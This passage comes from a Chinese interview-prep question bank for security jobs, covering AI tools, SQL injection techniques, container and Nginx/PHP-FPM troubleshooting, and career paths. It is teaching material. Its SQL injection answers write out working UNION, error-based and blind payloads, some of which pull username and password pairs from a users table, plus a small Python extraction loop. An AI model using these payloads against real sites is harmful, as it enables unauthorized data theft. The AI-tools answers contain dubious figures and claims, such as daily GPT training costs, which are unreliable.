- 就像流行的氛围式编程(Web Coding),光知道名字没用,得真正搞懂
- 关注技术博主,他们对技术敏感度更高,能持续分享最新动态
(3)面试应对
- 面试时别盲目标榜AI能力
- 除非能真正解释清楚这些技术是什么、怎么用
- 浅尝辄止的了解在面试中分分钟被问倒
(4)学习建议
- 通过VPN关注国外平台(YouTube、Twitter/X)
- 追踪OpenAI等公司的研发工程师和创始人
- 他们常会在社交媒体分享最新技术动态
面试题4:请对比分析目前主流的AI工具。
考察点: 对AI工具生态的了解
参考答案:
(1)工具对比表
| 工具 | 特点 | 使用建议 |
|---|---|---|
| ChatGPT | 比Claude更开放好用 | 首选,但需注意访问限制 |
| Claude | 老板是鹰派,限制中国人使用技术 | 可使用但限制较多 |
| GLM | 供货情况稳定 | 优先选择 |
| Kimi | 有时买不到 | 作为备选 |
| DeepSeek | 暑假涨价,价格翻倍 | 性价比尚可,比同类良心 |
| Codex | 命令行智能执行,目标导向 | 适合开发自动化任务 |
(2)付费机制
- 99元/月的套餐看似额度少
- 但共享使用的特性让性价比更高(类似多人合租ChatGPT账号)
- 付费套餐的实际价值需从使用时长和共享可能性来评估
(3)警惕问题
- 虚假宣传:可能挂着DeepSeek的名号实际提供的是Codex的服务
- 不可靠输出:5道固定答案的消防安全题居然错1道且无法纠正
- 豆包这类产品作为搜索引擎都不够可靠(连官方网址都可能找不准)
(4)使用策略
- 服务选择要看供货情况
- 不能只依赖单一AI工具,应拓展学习渠道和工具使用范围
- "团购"模式在AI服务中很常见
面试题5:AI工具在URL传参和精确度方面有哪些注意事项?
考察点: AI工具使用中的细节把控
参考答案:
(1)参数精确度至关重要
- URL和参数必须绝对准确(比如大小写"Less"的问题)
- 差一点AI就无法正确响应
- 描述不准确会导致无结果,即使系统显示"完成"也可能没有实际输出
(2)提示词质量决定输出质量
- 提示词和输入参数的精确度直接决定输出质量
- 就像钥匙开锁,差一毫米都打不开
- 这就是很多人觉得AI"解决不了问题"的根本原因
(3)脚本调试中的典型问题
- 缺少requests模块 → 需要pip install
- 连接目标地址写错(如把192写成129)
- URL大小写问题导致请求失败
(4)总结
提示词和输入参数的精确度直接决定输出质量。
面试题6:请谈谈当前AI算力成本的现状。
考察点: AI基础设施的了解
参考答案:
(1)算力成本飙升
- 以前跑AI模型几个小时只要几块钱,现在价格暴涨
- GPT-4训练每天烧1亿美金
- GPT-5.0版本直接涨到10亿美金/天
- 算力资源极度紧张
(2)对服务价格的影响
- DeepSeek在暑假期间涨价,特定时段价格翻倍
- 本质是算力军备竞赛
- AI服务涨价是大趋势,便宜时代可能一去不返
(3)消费电子联动
- 苹果手机价格不降反升(涨幅500-1000元)
- 打破很多人等待降价的预期
- 虽然华强北的耳机在参数上能对标苹果
- 但用户体验仍有差距,核心技术壁垒依然存在
面试题7:在AI时代,技术人员应该如何学习和发展?
考察点: 学习方法论、自我驱动力
参考答案:
(1)学习路径规划
大二阶段:
- 系统打基础
- 先了解AI基础应用
- Linux和Docker是必备基础
- 没有放松的资本,必须持续投入时间
大三阶段:
- 聚焦目标领域突击补课
- 尽快补充AI安全领域知识
- 很多人忽略了命令细节,基础操作生疏
- 为高级课程做准备
(2)资源获取
- 国外:YouTube、Twitter/X(需VPN)
- 国内:B站(有大量前沿技术内容)
- 关注OpenAI等公司的研发工程师和创始人
- 关注国内外技术博主
(3)学习方法
- 用"蚂蚁啃骨头"的方式把大目标拆解成小任务
- 大学里有些课程可以适当取舍,把精力集中在真正重要的内容上
- 先跟高级课摸清知识盲区,再针对性补缺
- 高级课程至少要学2-3遍才能有效吸收
(4)关键提醒
- 大学三年的积累不可能靠一小时突击补上
- 每年秋招季总会有学生临时抱佛脚
- 现在不抓紧,等到别人拿Offer时再着急就晚了
面试题8:请说说你对AI辅助编程工具(如Codex)的理解。
考察点: AI工程化应用的理解
参考答案:
(1)Codex命令行的三大核心特性
① 目标导向
- 设定目标后,系统会全程围绕目标执行
- 一旦偏离立即纠正
- 比手动部署的Hermes更方便
② 免打扰模式
- 可以授予最大权限自动执行
- 直到预设的约束点才暂停
- 适合长时间自动化任务
③ 断点续传
- 意外关机重启后,能通过临时数据库恢复执行进度
- 相当于在命令行内置了一个轻量级自动化管控系统
(2)对开发流程的影响
- 以前需要10-20人团队耗时一个月
- 现在掌握Web Coding的个人可能一周就能完成
- 前期需求定义等关键环节仍需人工把控
(3)学习建议
- 吴恩达教授的英文AI入门课值得学习
- 需要一定专业基础
- 学习英文技术视频时使用字幕辅助理解
- 主动搜索资源,B站上就有大量相关解析
二、SQL注入基础类(共12题)
面试题9:请简述SQL注入漏洞产生的根本原因。
考察点: 对漏洞本质的理解
参考答案:
(1)根本原因
- 服务端通过GET等方式获取用户输入参数后
- 直接拼接到SQL查询语句中
- 用户输入的参数未经任何处理或过滤
(2)典型代码示例
有漏洞的代码:
php
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = " . $id; // 直接拼接
$result = mysql_query($sql);
安全的代码(使用参数化查询):
php
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_GET['id']]);
(3)攻击原理
sql
-- 正常查询
SELECT * FROM users WHERE id=12 -- 只返回id=12的用户
-- 恶意构造
SELECT * FROM users WHERE id=12 OR 1=1 -- 1=1永远为真,返回所有用户
OR 1=1导致WHERE条件永远成立- 数据库返回所有用户数据,导致信息泄露
(4)总结
SQL注入不是数据库的漏洞,而是应用程序层的漏洞------本质是"数据"和"代码"没有正确分离。
面试题10:请详细说明SQL注入攻击的通用四步流程。
考察点: SQL注入方法论、思路清晰度
参考答案:
第一步:判断输入类型(数字型 vs 字符型)
| 类型 | 特点 | 判断方法 |
|---|---|---|
| 数字型 | 直接拼接到SQL,不需要引号 | and 1=2 生效(查询无结果) |
| 字符型 | 放在引号内,需闭合引号 | and 1=2 无影响(被当成文本) |
测试示例:
sql
-- URL输入:id=1 AND 1=2
-- 数字型:执行 SELECT * FROM users WHERE id=1 AND 1=2 → 永假,无结果
-- 字符型:执行 SELECT * FROM users WHERE id='1 AND 1=2' → 被当作文本,结果不变
第二步:确定闭合符(字符型需要)
常见闭合符:单引号 '、双引号 "、小括号 )、混合 ')、")
sql
-- 测试方法:不断尝试不同闭合符
1' -- 单引号
1" -- 双引号
1') -- 单引号+括号
1") -- 双引号+括号
可以通过:
- 报错信息反推闭合符类型
- 查看源代码直接确认拼接方式
第三步:判断列数(ORDER BY)
sql
ORDER BY 1 -- 正常
ORDER BY 2 -- 正常
ORDER BY 3 -- 正常
ORDER BY 4 -- 报错!说明只有3列
原理: ORDER BY n 按第n列排序,如果n超出实际列数就报错。
第四步:定位回显位置(UNION SELECT)
sql
-- 先让原查询不返回结果
id=-1 UNION SELECT 1,2,3
-- 观察页面上数字123显示的位置
-- 例如第2列和第3列显示数字→回显位置是第2和第3列
后续利用:
sql
-- 获取数据库名(放在回显位置)
id=-1 UNION SELECT 1,2,DATABASE()
-- 获取表名
id=-1 UNION SELECT 1,2,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()
-- 获取列名
id=-1 UNION SELECT 1,2,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='users'
-- 获取数据
id=-1 UNION SELECT 1,2,GROUP_CONCAT(username,0x3a,password) FROM users
面试题11:数字型注入和字符型注入有什么区别?如何判断?
考察点: 基础概念辨析
参考答案:
(1)核心区别
| 维度 | 数字型注入 | 字符型注入 |
|---|---|---|
| SQL拼接方式 | WHERE id=$id 直接拼接数值 |
WHERE id='$id' 用引号包裹 |
| 是否需要闭合 | 不需要 | 需要闭合引号 |
| 注入难度 | 较低 | 较高(需找到闭合符) |
(2)判断方法
方法一:加单引号测试
?id=1' → 报错 → 字符型(引号打破了SQL结构)
?id=1' → 正常 → 数字型(引号被当成了数值的一部分)
方法二:and逻辑测试
sql
?id=1 AND 1=2
-- 正常页面变成空白/无数据 → 数字型(条件生效)
-- 页面无变化 → 字符型(被当成字符串不解析)
(3)字符型注入的引号处理
sql
-- 原始SQL: SELECT * FROM users WHERE id='[输入]'
-- 输入: 1' OR '1'='1
-- 拼接后: SELECT * FROM users WHERE id='1' OR '1'='1'
-- 注意:最后多了一个单引号,通过OR '1'='1' 来闭合
-- 更好的方式: 1' OR 1=1--+
-- 拼接后: SELECT * FROM users WHERE id='1' OR 1=1--+' ← --注释掉剩余内容
(4)URL编码注意事项
- URL中空格被编码为20%
- 单引号变为%27
- 可以用
--+绕过编码(加号被解析为空格) --+作用:空格确保注释符生效,注释掉多余的单引号
面试题12:什么是闭合符?为什么字符型注入需要处理闭合符?
考察点: SQL拼接机制的理解
参考答案:
(1)闭合符的定义
- 闭合符是SQL语句中用来包裹字符串的符号
- 使引号内的内容被当作整体处理
- 引号外则会被解析为SQL语法
(2)常见的闭合符类型
| 闭合符 | 示例 |
|---|---|
单引号 ' |
WHERE id='value' |
双引号 " |
WHERE id="value" |
小括号 ) |
WHERE id=(value) |
单引号+括号 ') |
WHERE id=('value') |
双引号+括号 ") |
WHERE id=("value") |
(3)为什么需要处理闭合符
原始SQL语句:
sql
SELECT * FROM users WHERE id='[用户输入]'
用户直接输入 OR 1=1:
sql
SELECT * FROM users WHERE id='OR 1=1'
→ OR 1=1 成了字符串,不执行!因为被引号包裹了。
需要手动闭合引号:
sql
-- 输入: 1' OR 1=1--+
-- 拼接后: SELECT * FROM users WHERE id='1' OR 1=1--+'
处理过程:
1'闭合了前面的单引号OR 1=1是注入的逻辑条件--+注释掉后面多余的单引号- 最终SQL变成:
SELECT * FROM users WHERE id='1' OR 1=1
(4)关键技巧
- 可以通过报错信息反推闭合符类型
- 查看源代码直接确认拼接方式是最快的方法
- 数字型注入不需要考虑闭合问题
面试题13:请解释 --+ 在SQL注入中的作用。
考察点: 注释符机制、URL编码理解
参考答案:
(1)-- 的基础作用
--是SQL中的行注释符- 用于注释掉语句后面多余的内容
(2)为什么要用 --+
sql
-- 原始SQL
SELECT * FROM users WHERE id='[输入]'
-- 输入: 1' OR 1=1--
-- 拼接后: SELECT * FROM users WHERE id='1' OR 1=1--'
-- 注意:--后面应该跟空格才生效,但URL中空格会被特殊处理
URL编码问题:
- URL中空格会被编码为
%20 - 直接写
-- '中间的空格在URL中可能失效 - 加号
+在URL解码时会被解析为空格
所以 --+ 的完整效果:
--+ → URL解码 → --空格 → SQL注释生效
(3)错误演示
sql
-- 不带空格的注释(失效)
id=1' OR 1=1-- → 后面的单引号还在,语法错误
-- 用--+(正确)
id=1' OR 1=1--+ → 注释掉剩余内容,语句正确
(4)替代方案
- 除了注释符,也可以通过构造无效条件来"吃掉"多余的代码段
- 比如用
AND 1=2让后续条件失效 - 本质上和注释符的效果类似
(5)总结
--+中的--是SQL注释,+在URL中被转成空格,确保注释符后面有空格,从而正确注释掉原语句的剩余部分。
面试题14:请解释布尔盲注的原理和实现方法。
考察点: 盲注理解深度、二分法优化
参考答案:
(1)适用场景
- 注入点无直接数据回显
- 前端页面只返回**真(true)/假(false)**两种状态
- 比如:正常页面和错误页面
(2)基本原理
通过构造条件判断语句,根据页面返回的真假状态来推测数据库信息。
sql
-- 判断数据库名长度是否等于8
?id=1 AND LENGTH(DATABASE())=8
-- 页面正常(返回数据)→ 长度为8
-- 页面异常(无数据/报错)→ 长度不为8
(3)逐个字符猜测
sql
-- 截取第1个字符,判断ASCII码
?id=1 AND ASCII(SUBSTRING(DATABASE(),1,1))>80
-- 页面正常 → ASCII > 80
-- 页面异常 → ASCII ≤ 80
(4)二分法优化
直接逐个字符试效率太低(a-z共26次),用二分法:
目标:猜出数据库名的第一个字符
第1次:ASCII > 80? → 是(范围缩小到81-255)
第2次:ASCII < 100? → 是(范围缩小到81-99)
第3次:ASCII < 90? → 否(范围缩小到90-99)
第4次:ASCII < 95? → 否(范围缩小到95-99)
第5次:ASCII = 97? → 是!→ 对应字符 'a'
效率对比:
- 原始方法:最坏26次(a-z逐个试)→ 平均13次
- 二分法:最坏7次(log₂128)→ 平均4-5次
(5)完整流程
- 先确定长度:
LENGTH(DATABASE())=n逐个试 - 再逐个字符猜:
ASCII(SUBSTRING(..., pos, 1)) > val - 结合二分法快速收敛
面试题15:请解释时间盲注的原理和实现方法。
考察点: 时间盲注理解、IF+SLEEP配合
参考答案:
(1)基本原理
利用 IF() 函数配合 SLEEP() 函数,通过响应时间差异来判断条件是否成立。
(2)核心函数
sql
IF(condition, value_if_true, value_if_false)
(3)基础示例
sql
-- 如果条件成立,休眠3秒
SELECT * FROM users WHERE id=1 AND IF(1>2, SLEEP(3), 1)
-- 1>2 不成立 → 立即返回结果(不延迟)
-- 1=1 成立 → 休眠3秒后返回结果(延迟)
(4)应用示例
判断数据库名长度:
sql
?id=1' AND IF(LENGTH(DATABASE())=8, SLEEP(3), 1)--+
-- 响应延迟3秒 → 长度为8
-- 立即响应 → 长度不为8
判断字符:
sql
?id=1' AND IF(ASCII(SUBSTRING(DATABASE(),1,1))>80, SLEEP(3), 1)--+
-- 延迟3秒 → ASCII > 80
-- 立即响应 → ASCII ≤ 80
(5)特点总结
| 优势 | 劣势 |
|---|---|
| 不需要知道具体列数 | 耗时长,需等待延迟 |
| 不回显数据也能注入 | 网络波动可能干扰判断 |
| 适用性广(所有SQL注入场景) | 容易被WAF检测到 |
(6)与布尔盲注对比
| 对比项 | 布尔盲注 | 时间盲注 |
|---|---|---|
| 判断依据 | 页面内容差异 | 响应时间差异 |
| 速度 | 快(毫秒级) | 慢(每个条件等几秒) |
| 隐蔽性 | 一般 | 较低(明显的延迟) |
| 适用场景 | 有真假状态回显 | 无任何回显 |
面试题16:请解释报错注入的原理,并列举常用函数。
考察点: 报错注入机制理解
参考答案:
(1)基本原理
通过特定函数触发数据库报错,在报错信息中泄露敏感数据。
核心思路: 构造一个能执行但又会报错的SQL语句,让报错信息把查询结果带出来。
(2)常用函数
① EXTRACTVALUE()
sql
EXTRACTVALUE(xml_fragment, xpath_expression)
-- 从XML中提取值,若XPath错误则报错
② UPDATEXML()
sql
UPDATEXML(xml_target, xpath_expr, new_xml)
-- 更新XML文档,若XPath错误则报错
(3)标准Payload
sql
-- 获取数据库名
1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT DATABASE())))--+
-- 获取所有表名
1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE())))--+
-- 获取users表的列名
1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='users')))--+
-- 获取数据
1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(username,0x3a,password) FROM users)))--+
(4)关键技巧
特殊符号选择:
| 符号 | 稳定性 | 说明 |
|---|---|---|
波浪线 ~ |
最稳定 | 十六进制0x7e,推荐使用 |
星号 * |
一般 | 可能受URL编码影响 |
@ 符 |
可用 | 能直接成功 |
&& |
不可用 | URL中为参数分隔符 |
为什么 && 不可用:
&&在URL中有特殊含义,它是参数分隔符- 直接用在SQL注入中会导致解析错误
(5)报错信息示例
XPATH syntax error: '~security'
报错信息中包含了数据库名 security
(6)XML相关知识
- XML是最早用于数据传输的格式,后来才被JSON取代
- XML特点是层级清晰、可读性强
- 在需要严格结构化数据的场景仍有优势
面试题17:UNION查询注入时需要注意哪些关键点?
考察点: UNION注入细节
参考答案:
(1)核心规则------列数必须一致
sql
-- 正确:列数相同
SELECT id, name FROM users UNION SELECT id, email FROM emails
-- 错误:列数不同
SELECT id, name, age FROM users UNION SELECT id, email FROM emails
-- 报错!前后列数不一致
(2)对齐列数的方法
sql
-- 用NULL值补足缺少的列
SELECT id, name, age FROM users
UNION
SELECT id, email, NULL FROM emails
(3)判断回显位置的经典方法
sql
-- 第一步:让原查询无结果
id=-1
-- 第二步:构造UNION SELECT占位
id=-1 UNION SELECT 1,2,3
-- 第三步:观察页面上哪个数字显示出来
-- 假设页面上显示 "2" 和 "3" → 第2列和第3列是回显位置
(4)为什么要让原查询无结果?
- UNION会追加结果集
- 如果原查询有结果,会同时显示原结果和构造的结果
- 让原查询无结果后,系统只显示我们构造的数据,更容易判断
(5)利用回显位置获取数据
sql
-- 获取数据库名(放在回显位置)
id=-1 UNION SELECT 1, DATABASE(), 3
-- 获取表名
id=-1 UNION SELECT 1, GROUP_CONCAT(table_name), 3
FROM information_schema.tables WHERE table_schema=DATABASE()
-- 获取数据
id=-1 UNION SELECT 1, GROUP_CONCAT(username,0x3a,password), 3
FROM users
(6)常见错误
- UNION后面错误地加逗号(
UNION, SELECT) - 字段位置写错
- 忘记在字符型注入中添加闭合符和注释符
面试题18:ORDER BY 在SQL注入中有什么用途?如何用它判断列数?
考察点: ORDER BY在注入中的实际应用
参考答案:
(1)主要用途
- 判断查询结果的列数
- 为后续UNION注入做准备
(2)判断方法
sql
-- 逐步增加列号,直到报错
ORDER BY 1 -- 正常 → 至少有1列
ORDER BY 2 -- 正常 → 至少有2列
ORDER BY 3 -- 正常 → 至少有3列
ORDER BY 4 -- 报错!→ 只有3列!
(3)原理说明
- 数据库会按照指定的列号对结果排序
- 如果列号超出实际列数就会报错
- 即使查询结果为空,只要不报错就说明该列存在
(4)注意事项
- ORDER BY后面的数字是列的位置(第1列、第2列...)
- 不是列名,也不需要写列名
- 这个方法特别适用于不知道表结构的情况
(5)GROUP BY的替代用法
sql
GROUP BY 1 -- 正常
GROUP BY 3 -- 正常
GROUP BY 4 -- 报错!→ 只有3列
(6)典型使用场景
sql
-- 1. 判断列数
1 ORDER BY 3--+
-- 2. 确定列数后构造UNION
-1 UNION SELECT 1,2,3--+
-- 3. 在回显位置获取数据
-1 UNION SELECT 1,DATABASE(),3--+
面试题19:information_schema 是什么?如何利用它获取数据库信息?
考察点: 系统表利用、元数据查询
参考答案:
(1)information_schema 简介
- MySQL的系统数据库
- 存储了所有数据库的元数据信息
- 包含表结构、列信息、权限信息等
(2)关键表
| 表名 | 作用 | 关键字段 |
|---|---|---|
TABLES |
存储所有表的信息 | TABLE_SCHEMA(数据库名)、TABLE_NAME(表名) |
COLUMNS |
存储所有列的信息 | COLUMN_NAME(列名)、DATA_TYPE(数据类型) |
(3)查询表名
查看所有表:
sql
SELECT TABLE_NAME FROM information_schema.TABLES
查询特定数据库的表:
sql
SELECT TABLE_NAME FROM information_schema.TABLES
WHERE TABLE_SCHEMA='security'
合并显示:
sql
SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.TABLES
WHERE TABLE_SCHEMA='security'
(4)查询列名
sql
SELECT COLUMN_NAME FROM information_schema.COLUMNS
WHERE TABLE_SCHEMA='security' AND TABLE_NAME='users'
(5)注入中的实际利用
sql
-- 获取当前数据库的所有表名
-1' UNION SELECT 1,2,GROUP_CONCAT(TABLE_NAME)
FROM information_schema.TABLES
WHERE TABLE_SCHEMA=DATABASE()--+
-- 获取users表的列名
-1' UNION SELECT 1,2,GROUP_CONCAT(COLUMN_NAME)
FROM information_schema.COLUMNS
WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME='users'--+
(6)注意事项
table_schema= 数据库名(注意命名规律)- 如果当前数据库和information_schema不同,查询要带库名前缀
column这个单词容易拼错- 用
GROUP_CONCAT()可以把多行结果合并成一行显示
面试题20:请对比布尔盲注与时间盲注的优缺点。
考察点: 两种盲注技术的横向对比
参考答案:
(1)对比表
| 对比维度 | 布尔盲注 | 时间盲注 |
|---|---|---|
| 判断依据 | 页面内容/状态差异 | 响应时间差异 |
| 速度 | 快(毫秒级) | 慢(每个条件等2-5秒) |
| 准确性 | 高(页面特征明显) | 受网络波动影响 |
| 隐蔽性 | 较好 | 较低(明显延迟) |
| 前提条件 | 页面有真假状态变化 | 无需任何回显 |
| 自动化难度 | 容易 | 较容易(需设超时) |
(2)适用场景
布尔盲注适用:
- 页面有明确的状态区分(如"正常页面"vs"错误页面")
- 注入点返回不同的内容或长度
- 不需要等待延迟,效率高
时间盲注适用:
- 页面无任何区分(始终显示相同内容)
- 布尔盲注无法判断时
- 不关心速度,只要最终能获取数据
(3)优缺点详述
布尔盲注
优势:
✓ 速度快,每个判断瞬间完成
✓ 不易被WAF检测
✓ 自动化脚本简单
劣势:
✗ 需要页面有可区分的状态
✗ 某些场景无法使用
时间盲注
优势:
✓ 适用所有SQL注入场景
✓ 不依赖页面内容
劣势:
✗ 速度极慢(尤其是大量数据时)
✗ 网络波动导致误判
✗ 容易被WAF检测为攻击
(4)结合使用策略
- 优先使用布尔盲注(如果有回显状态)
- 布尔盲注不可用时,再降级为时间盲注
- 时间盲注时建议多次测量取平均值
面试题21:前端限制了输出长度,如何获取完整的数据?
考察点: 实际问题的解决能力
参考答案:
(1)问题描述
- 前端页面只显示部分数据(如只显示前32个字符)
- 需要获取完整的数据库信息
(2)解决方法
方法一:SUBSTRING分段截取
sql
-- 第一次:从第1位开始取32个字符
id=-1' UNION SELECT 1,2,SUBSTRING(data,1,32) FROM target--+
-- 第二次:从第33位开始取32个字符
id=-1' UNION SELECT 1,2,SUBSTRING(data,33,32) FROM target--+
-- 重复直到获取完整数据,最后拼接
方法二:利用LIMIT分批取行
sql
-- 第1行
id=-1' UNION SELECT 1,2,username FROM users LIMIT 0,1--+
-- 第2行
id=-1' UNION SELECT 1,2,username FROM users LIMIT 1,1--+
-- 依次取完所有行
方法三:GROUP_CONCAT配合SUBSTRING
sql
-- 先用GROUP_CONCAT合并所有数据
-- 再分段截取
SELECT SUBSTRING(GROUP_CONCAT(username,0x3a,password), 1, 32) FROM users
(3)Python自动化实现
python
def get_full_data():
full_data = ""
offset = 1
while True:
payload = f"1' UNION SELECT 1,2,SUBSTRING(data,{offset},32) FROM target--+"
chunk = execute(payload)
if not chunk:
break
full_data += chunk
offset += 32
return full_data
面试题22:LIMIT的两种用法有什么区别?在注入中如何使用?
考察点: LIMIT语法细节
参考答案:
(1)两种用法对比
| 用法 | 语法 | 含义 | 示例 | 结果 |
|---|---|---|---|---|
| 单参数 | LIMIT n |
返回前n行 | LIMIT 3 |
返回第1、2、3行 |
| 双参数 | LIMIT a,b |
从第a行开始(从0计数),返回b行 | LIMIT 1,2 |
返回第2、3行 |
(2)双参数详解
sql
-- 数据库有10条数据
SELECT * FROM users LIMIT 0,3 -- 第1、2、3条(第1页)
SELECT * FROM users LIMIT 3,3 -- 第4、5、6条(第2页)
SELECT * FROM users LIMIT 6,3 -- 第7、8、9条(第3页)
SELECT * FROM users LIMIT 9,3 -- 第10条(第4页)
注意: 双参数的第二位是返回的行数,不是截止行号!
(3)分页查询公式
sql
SELECT * FROM table LIMIT (page-1)*pageSize, pageSize
-- page: 页码(从1开始)
-- pageSize: 每页行数
(4)注入中的应用
sql
-- 只获取第一条数据
id=-1' UNION SELECT 1,2,username FROM users LIMIT 0,1--+
-- 跳过第一条,获取第二条
id=-1' UNION SELECT 1,2,username FROM users LIMIT 1,1--+
三、环境搭建与运维类(共5题)
面试题23:如何排查容器服务不可用的问题?请描述完整的排查流程。
考察点: 容器排障思路
参考答案:
完整排查流程(五个步骤):
第一步:检查容器运行状态
bash
podman ps
# 或者
docker ps
- 如果容器没运行,服务自然无法访问
- 如果容器列表为空,说明容器未启动或已停止
第二步:检查Nginx配置文件
bash
cat /usr/local/nginx/conf/nginx.conf
- 检查配置的端口(如9056)是否与实际服务端口一致
- 检查代理配置是否正确
第三步:确认端口监听状态
bash
ss -antlp | grep 9050
# 或者
netstat -antlp | grep 9050
- 端口在监听 → 服务可能正常运行
- 端口未监听 → 服务未启动或配置有误
第四步:重启容器
bash
podman start [容器ID]
# 或
systemctl --user start [service名]
第五步:验证状态
bash
podman ps # 确认容器running
ss -antlp | grep 9050 # 确认端口已监听
systemctl --user status [服务名] # 确认服务状态
(2)其他常见问题
- 版本兼容性问题:Nginx 1.22与pcre2的匹配问题
- 之前用apt安装过Nginx可能导致新版本冲突
- 一键安装脚本虽省去了手动配置,但已有软件版本可能冲突
(3)核心理念
边操作边验证 :每次操作后都用status/ps命令确认状态,看到"running"才表示服务真正跑起来了。
结果导向:重启服务后检查端口是否开启是最直接的验证方式。
面试题24:如何实现容器的开机自启?
考察点: systemd管理、容器自动化
参考答案:
(1)原理说明
systemctl enable能管理服务的前提是该服务有对应的.service文件- 容器默认不具备这个条件
- 需要手动生成并配置service文件
(2)完整操作流程
步骤1:生成service文件
bash
podman generate systemd --name [容器名] --files --new
- 这会在当前目录生成service文件
- 参数容易记混,使用前建议查文档确认
步骤2:移动文件到指定目录
用户级别(推荐):
bash
mkdir -p ~/.config/systemd/user/
mv container-xxx.service ~/.config/systemd/user/
系统级别:
bash
sudo mv container-xxx.service /etc/systemd/system/
步骤3:启动服务
bash
# 用户级别
systemctl --user start container-xxx.service
# 系统级别
sudo systemctl start container-xxx.service
步骤4:检查状态
bash
systemctl --user status container-xxx.service
# 看到 "active (running)" 才表示成功
步骤5:设置开机自启
bash
systemctl --user enable container-xxx.service
(3)注意事项
- 用户级别用
systemctl --user前缀 - 系统级别用
sudo systemctl - 每次操作后都要用status命令确认状态
(4)其他替代方案
- 对于没有service文件的场景,也可以考虑修改容器配置
- 使用其他工具(如Docker的restart policy)
面试题25:Docker和Podman有哪些异同?
考察点: 容器技术理解
参考答案:
(1)相同点
- 本质相同:都是容器管理工具
- 功能定位相同:创建、运行、管理容器
- 命令高度相似:
docker run≈podman run - 都支持Docker镜像格式
(2)不同点
| 对比项 | Docker | Podman |
|---|---|---|
| 架构 | C/S架构(需dockerd守护进程) | 无守护进程(daemonless) |
| 安全 | root用户运行 | 支持rootless(更安全) |
| 命令 | docker | podman |
| 兼容性 | 更广 | 兼容Docker命令 |
| 资源占用 | 较高 | 较低 |
(3)命令对比
bash
# Docker
docker ps
docker run -d nginx
docker stop [ID]
docker start [ID]
# Podman
podman ps
podman run -d nginx
podman stop [ID]
podman start [ID]
(4)学习建议
- 系统学习相关课程,而非零散看视频
- 两种工具本质一样,学好一种另一种自然就会
- 容器技术是运维和安全的必备技能
- 建议利用暑假提前练习
面试题26:请描述Nginx和PHP-FPM的协同工作原理。
考察点: Web服务架构理解
参考答案:
(1)架构流程图
用户请求 → Nginx(监听80/443端口)
↓
FastCGI协议转发
↓
PHP-FPM(监听9000端口)
↓
执行PHP脚本
↓
MariaDB/MySQL
(2)工作流程
- 用户发送HTTP请求到Nginx
- Nginx根据配置识别出PHP请求
- Nginx通过FastCGI协议将请求转发给PHP-FPM
- PHP-FPM执行PHP脚本
- 如果脚本需要数据库操作,PHP连接MariaDB/MySQL
- 处理结果返回给Nginx
- Nginx将响应返回给用户
(3)关键配置
Nginx配置示例:
nginx
location ~ \.php$ {
fastcgi_pass 127.0.0.1:9000; # PHP-FPM监听地址
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
(4)端口说明
- 80端口:Nginx默认HTTP端口
- 443端口:Nginx默认HTTPS端口
- 9000端口:PHP-FPM默认监听端口
- 9056端口:特定应用配置的Nginx代理端口
(5)排查技巧
bash
# 检查80端口
ss -antlp | grep 80
# 检查9000端口
ss -antlp | grep 9000
# 如果Nginx没启动,去指定路径启动
/usr/local/nginx/sbin/nginx
面试题27:如何验证PHP-FPM服务是否正常运行?
考察点: 服务验证方法
参考答案:
(1)验证步骤
步骤1:查看服务状态
bash
systemctl --user status content-php56-fpm.service
- 看到
active (running)表示正常运行
步骤2:检查端口监听
bash
ss -antlp | grep 9000
- PHP-FPM默认监听9000端口
- 看到 LISTEN 状态表示正常
步骤3:创建测试PHP文件
php
<?php
phpinfo();
?>
- 放置在Nginx的web根目录
- 通过浏览器访问该文件
- 如果显示PHP信息页面,说明PHP-FPM正常工作
步骤4:检查日志
bash
# Nginx错误日志
tail -f /var/log/nginx/error.log
# PHP-FPM错误日志
tail -f /var/log/php-fpm/error.log
(2)常见问题
- 端口未监听 → 检查service文件配置是否正确
- 502 Bad Gateway → Nginx无法连接到PHP-FPM
- 404 Not Found → 文件路径配置错误
- 403 Forbidden → 权限问题
(3)重要提醒
遇到问题要先自查文档或系统课程,碎片化学习效果有限。
四、职业发展与规划类(共5题)
面试题28:请谈谈你对安全服务岗位的理解,它与渗透测试岗位有什么区别?
考察点: 岗位认知精准度
参考答案:
(1)安全服务岗位的核心定位
- 以攻击者视角发现系统漏洞
- 核心是客户交付和问题解决
- 而不仅仅是内部安全建设
工作内容:
- 深度测试 --- 对系统进行深入安全评估
- 流量分析 --- 分析网络流量,发现异常
- 漏洞输出 --- 整理漏洞报告,提供修复建议
(2)与渗透测试岗位的区别
| 维度 | 安全服务岗 | 渗透测试岗 |
|---|---|---|
| 核心定位 | 客户交付+问题解决 | 技术攻防演练 |
| 工作方式 | 安全评估+风险排查+合规 | 漏洞挖掘+渗透测试 |
| 技能要求 | 技术+沟通+文档 | 深度技术能力 |
| 输出成果 | 安全方案+评估报告 | 漏洞报告+POC |
| 沟通需求 | 高(需与客户频繁沟通) | 中(偏技术内部沟通) |
(3)常见面试误区
- 面试安全服务岗时如果回答渗透测试的内容 → 岗位理解不够精准
- 安全服务岗需要更强沟通能力、文档撰写能力和风险排查思维
- 渗透测试岗需要更深的技术功底,偏向纯技术方向
(4)个人优势提炼模板
技术能力:网络基础、TCP/IP协议、流量分析
软实力:细心严谨、爱动脑思考
学习能力:主动性强、快速上手
稳定性:愿意出差、长期深耕
面试题29:什么是等保测评师?适合什么样的人?
考察点: 职业路径了解
参考答案:
(1)岗位定义
- 等保测评师是从事信息安全等级保护测评工作的专业人员
- 负责对企业信息系统进行安全评估和合规检查
- 确保系统满足国家等级保护要求
(2)适合人群
| 人群 | 原因 |
|---|---|
| 缺乏实操经验的新人 | 技术门槛相对低,可以边干边学 |
